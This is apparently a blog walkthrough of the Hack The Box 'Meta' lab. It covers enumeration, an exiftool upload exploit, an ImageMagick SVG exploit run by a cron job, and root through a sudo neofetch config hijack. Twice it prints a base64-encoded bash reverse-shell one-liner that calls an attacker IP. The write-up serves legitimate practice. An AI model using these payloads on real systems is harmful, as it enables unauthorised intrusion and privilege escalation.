Meta — Hackthebox Walkthrough


nmap -p- -v

22/tcp open tcpwrapped syn-ack
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open tcpwrapped syn-ack
|_http-title: Did not follow redirect to http://artcorp.htb
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Apache

When I visited port 80, I was redirected to http://artcorp.htb, so I added the entry in to my hosts config file and proceeded.

Doing some subdomain enumeration with ffuf, I found a vhost named “dev01”.

ffuf -H 'Host: FUZZ.artcorp.htb' -u 'http://artcorp.htb' -w wordlist -fw 1

After adding the entry to the host config and visiting it gives me a different application which I can upload files and get there meta data.

The output of this application felt similar. It looked just like the output of exiftool command’s output.

Right away I knew this was using exiftool to get the meta data. So I googled about exiftool exploits. I found this GitHub repo which gave me exactly what I needed.

This exploit was possible due to Improper neutralization of user data within exiftool. You can read about this from this article.

With the help of this repo, I was able to generate a malicious image file (image.png), which led me get a reverse shell.

I edited the script and set the IP and port to be what I wanted.

Then I started a listener on the port I specified and uploaded the file generated. After I got a shell as www-data


And looking at the script we can see its using mogrify for that.

I googled for mogrify exploits github . I found a GitHub repo which was talking about “0-day exploit affecting ImageMagick with the default settings

This was interesting. So I cloned the repo , followed the instructions and created a image file which gave me RCE as thomas user.

I edited the poc.svg file and added a payload that will give me a shell.

echo YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzEwLjEwLjE0LjEwNC85MDkwIDA+JjEK|base64 -d|bash

Then I uploaded the file to /var/www/dev01.artcorp.htb/convert_images and waited till the cronjob get executed. After a couple of seconds I got a shell as thomas.


Looking at the sudo permissions of the user, I saw thomas user can run neofetch as root.

sudo -l

There I saw $XDG_CONFIG_HOME was set. $XDG_CONFIG_HOME defines the base directory relative to which user specific configuration files should be stored. Therefore, we can use the configuration files of our preference even the file is run as root.

Knowing this, I added the following line which will give me a reverse shell at the end of the neofetch config file in /home/thomas/.config/neofetch/config.conf

echo YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzEwLjEwLjE0LjEwNC85MDkwIDA+JjEK|base64 -d|bash

Then we exported the thomas users’s .config as the base configuration environment path.

export XDG_CONFIG_HOME="$HOME/.config"

Because of this,when the neofetch gets executes as root, the config which will be used won’t be the root users config, but thomas users one. Lastly, we execute the command with sudo.

And we get a shell as root.


“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”

Email —
Instagram —
Discord — kavigihan#8518

Happy Hacking !!! 😄



Cyber Security Student | Machine author in @hackthebox | find me on instagram @_kavi.gihan

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Kavishka Gihan

Cyber Security Student | Machine author in @hackthebox | find me on instagram @_kavi.gihan